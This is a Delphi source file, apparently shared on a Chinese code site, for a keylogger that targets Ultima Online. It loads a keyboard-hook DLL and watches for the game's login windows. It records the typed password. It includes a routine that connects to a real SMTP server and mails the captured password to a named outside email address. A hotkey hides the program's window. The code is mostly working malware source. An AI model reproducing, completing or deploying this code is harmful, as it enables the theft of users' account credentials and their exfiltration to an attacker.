Proc.pas
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:8k
- unit Proc;
- interface
- uses
- Windows,
- Messages,
- SysUtils,
- winsock,
- KeyScan;
- const
- CRLF=#13#10;
- watchdll='uohook.dll';
- type
- TWatching=procedure; stdcall;
- TStillWatching=function:Boolean; stdcall;
- TSetReceiver=procedure(R:Integer); stdcall;
- var
- // DontLoadLib:boolean;
- err:integer;
- wsadata:twsadata;
- fsocket,fport,step:integer;
- SockAddrIn:TSockAddrIn;
- hackmail,email,newpass,fhost,s1,password:string;
- //
- hold,starthack:integer;
- lp,newtime,show,HotKey,HotC:integer;
- hMain,hInst,hlist:integer;
- Msg:TMsg;
- wClass:TWndClass;
- LibHandle:THandle;
- MOUSE_EVENT,KEY_EVENT,SHELL_EVENT,WNDPROC_EVENT:Integer;
- StartWatching:TWatching;
- StopWatching:TWatching;
- StopAll:TWatching;
- StillWatching:TStillWatching;
- SetReceiver:TSetReceiver;
- qbuf,sbuf,keybuf:array[0..200] of char;
- procedure wincreate(hwnd:integer);
- procedure windestroy;
- procedure OnTimer;
- procedure winhotkey;
- procedure OnShellHook(nCode: Integer; wParam: Longint);
- procedure OnKeyHook(nCode: Integer; wParam: Longint);
- procedure OnMouseHook(nCode: Integer; wParam:longint);
- procedure OnWndProcHook(nCode: Integer; wParam: Longint);
- procedure StartHook;
- procedure ResetLibVars;
- implementation
- //下面是个发信的过程
- procedure MailSend;
- begin
- err:=recv(FSocket,sbuf,400,0);
- s1:=strpas(sbuf);
- inc(step);
- case step of
- 1:s1:='HELO smtp.hacker.com'+CRLF;
- 2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF;
- 3:s1:='RCPT TO: <'+email+'>'+CRLF;
- 4:s1:='DATA'+CRLF;
- 5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF
- +'To:"getoicq"<www.password.com>'+CRLF
- +'Subject:QQ2001 Password come.'+CRLF
- +CRLF
- +newpass+CRLF
- +'.'+CRLF;
- 6:s1:='QUIT'+CRLF;
- else
- step:=0;
- end;
- strcopy(sbuf,pchar(s1));
- err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);
- end;
- procedure SendPass;
- begin
- err:=WSAStartup($0101,WSAData);
- FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
- //利用 smtp.21cn.com 进行发信
- fhost:='202.104.32.230';
- fport:=25;
- SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));
- SockAddrIn.sin_family := PF_INET;
- SockAddrIn.sin_port :=htons(Fport);
- err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
- step:=0;
- repeat
- MailSend;
- until step=0;
- err:=closesocket(FSocket);
- err:=WSACleanup;
- end;
- procedure winhotkey;
- begin
- if show>0 then showwindow(hmain,sw_hide)
- else showwindow(hmain,sw_show);
- show:=-show;
- //messagebox(0,'HotKey=CTRL+ALT+B','',0);
- end;
- procedure StartHook;
- begin
- if LibHandle=0 then
- begin
- LibHandle:=LoadLibrary(watchdll);
- if LibHandle<>0 then
- begin
- @StartWatching:=GetProcAddress(LibHandle, 'StartWatching');
- @StopWatching:=GetProcAddress(LibHandle, 'StopWatching');
- @StopAll:=GetProcAddress(LibHandle, 'StopAll');
- @StillWatching:=GetProcAddress(LibHandle, 'StillWatching');
- @SetReceiver:=GetProcAddress(LibHandle, 'SetReceiver');
- if assigned(SetReceiver) then
- begin
- SetReceiver(hmain);
- if assigned(StartWatching) then StartWatching;
- inc(HotC);
- strpcopy(sbuf,format('In Count=%d',[HotC]));
- sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
- end;
- end;
- if (LibHandle=0)
- or (not assigned(StartWatching))
- or (not assigned(StopWatching))
- or (not assigned(StillWatching))
- or (not assigned(StopAll)) then
- begin
- if LibHandle=0 then messagebox(hmain,pchar('handle'),pchar('Library '+watchdll+' not found.'),0)
- else messagebox(hmain,pchar('handle'),pchar('Library '+watchdll+' not Valid.'),0);
- end;
- end;
- end;
- procedure wincreate(hwnd:integer);
- begin
- starthack:=0;
- show:=1;
- HotKey:=GlobalAddAtom('njhhack');
- RegisterHotKey(hwnd,HotKey,MOD_ALT or MOD_CONTROL,66);
- SHELL_EVENT:=RegisterWindowMessage(PChar('HACK_SHELL_EVENT'));
- KEY_EVENT:=RegisterWindowMessage(PChar('HACK_KEY_EVENT'));
- MOUSE_EVENT:=RegisterWindowMessage(PChar('HACK_MOUSE_EVENT'));
- WNDPROC_EVENT:=RegisterWindowMessage(PChar('HACK_WNDPROC_EVENT'));
- ResetLibVars;
- end;
- procedure windestroy;
- begin
- UnRegisterHotKey(hmain,HotKey);
- if assigned(StopAll) then StopAll;
- if LibHandle<>0 then FreeLibrary(LibHandle);
- ResetLibVars;
- killtimer(hmain,newtime);
- exitprocess(0);
- end;
- procedure ResetLibVars;
- begin
- HotC:=0;
- LibHandle:=0;
- StartWatching:=nil;
- StopWatching:=nil;
- StopAll:=nil;
- StillWatching:=nil;
- end;
- procedure OnKeyHook(nCode: Integer; wParam: Longint);
- var hwnd:integer;
- s1:string;
- begin
- //检测是否开始记录,若starthack=true且wparam>$123456则开始记录按键
- keyscaner(ncode,wparam);
- // strcopy(sbuf,pchar(skey));
- //将字符保存在sbuf中
- //将字符累加到keybuf中
- if (starthack>0) and (wparam/$123456>0) then
- begin
- //strcopy(sbuf,pchar(format('%x',[ncode])));
- //sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
- // if length(skey)>0 then
- // strcopy(keybuf,pchar(strpas(keybuf)+strpas(sbuf)));
- end;
- end;
- procedure OnMouseHook(nCode: Integer; wParam:longint);
- var
- hwnd,wlong:integer;
- pmhs:pMOUSEHOOKSTRUCT;
- begin
- if ncode=$202 then
- begin
- // pmhs:=pMOUSEHOOKSTRUCT(wparam);
- // strpcopy(sbuf,format('Mouse=hmain=%x,hwnd=%x,focus=%x,(%d,%d)',[hmain,pmhs^.hwnd,wlong,pmhs^.pt.x,pmhs^.pt.y]));
- // sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
- // wlong:=GetWindowLong(pmhs^.hwnd,GWL_STYLE);
- end;
- end;
- procedure OnWndProcHook(nCode: Integer; wParam: Longint);
- var pcws:PCWPSTRUCT;
- mes,hwnd:longint;
- begin
- { pcws:=PCWPSTRUCT(wparam);
- mes:=pcws^.message;
- hwnd:=pcws^.hwnd;
- strpcopy(sbuf,format('message=%x,hwnd=%x,main=%x',[mes,hwnd,hmain]));
- if mes=MOUSE_EVENT then sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
- }
- end;
- procedure OnShellHook(nCode: Integer; wParam: Longint);
- begin
- case nCode of
- HSHELL_ACTIVATESHELLWINDOW:
- begin
- getwindowtext(wparam,sbuf,200);
- strpcopy(sbuf,format('Shell=%s',[sbuf]));
- // sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
- end;
- HSHELL_WINDOWACTIVATED:
- begin
- getwindowtext(wparam,sbuf,200);
- strpcopy(sbuf,format('Active=%s',[sbuf]));
- // sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
- end;
- HSHELL_WINDOWCREATED:
- begin
- getwindowtext(wparam,sbuf,200);
- strpcopy(sbuf,format('Create=%s',[sbuf]));
- // sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
- end;
- HSHELL_WINDOWDESTROYED:
- begin
- getwindowtext(wparam,sbuf,200);
- strpcopy(sbuf,format('Destroy=%s',[sbuf]));
- // sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
- end;
- end;
- end;
- function lpEnumFunc(hwnd:integer;uint:integer):boolean;stdcall;
- var hw,hs,wlong,hup,i:integer;
- sbuf,sb3,sb2:array[0..256] of char;
- sb1:string;
- begin
- // strpcopy(qbuf,'QQ用户登录');
- if (starthack=0) then
- begin
- //检查是否UO 密码输入框是否出现
- sendmessage(hwnd,wm_gettext,100,integer(@sbuf));
- strpcopy(sb2,'Ultima Online');
- strpcopy(sb3,'Origin Online');
- hold:=hwnd;
- if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
- begin
- starthack:=1;
- //设置开始记录的标志
- strpcopy(keybuf,pchar(''));
- strcopy(sbuf,pchar('newpass='+strpas(sbuf)));
- sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
- strpcopy(sbuf,pchar(''));
- end;
- end else
- begin
- sendmessage(hold,wm_gettext,100,integer(@sbuf));
- strpcopy(sb2,'Ultima Online');
- strpcopy(sb3,'Origin Online');
- if not ((strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0)) then
- begin
- //设置开始记录的标志
- strcopy(sbuf,pchar('passold='+strpas(sbuf)));
- // sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
- //设置停止记录的标志
- //取得密码
- newpass:=format('password=%s',[keybuf]);
- strcopy(sbuf,pchar(newpass));
- sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
- //将密码发到信箱njhhack@21cn.com中
- email:='njhhack@21cn.com';
- // sendpass;
- //信息存盘
- strcopy(keybuf,'');
- starthack:=0;
- end;
- end;
- //
- result:=true;
- end;
- procedure OnTimer;
- begin
- lp:=0;
- EnumChildWindows(GetDesktopWindow,@lpEnumFunc,lp);
- end;
- end.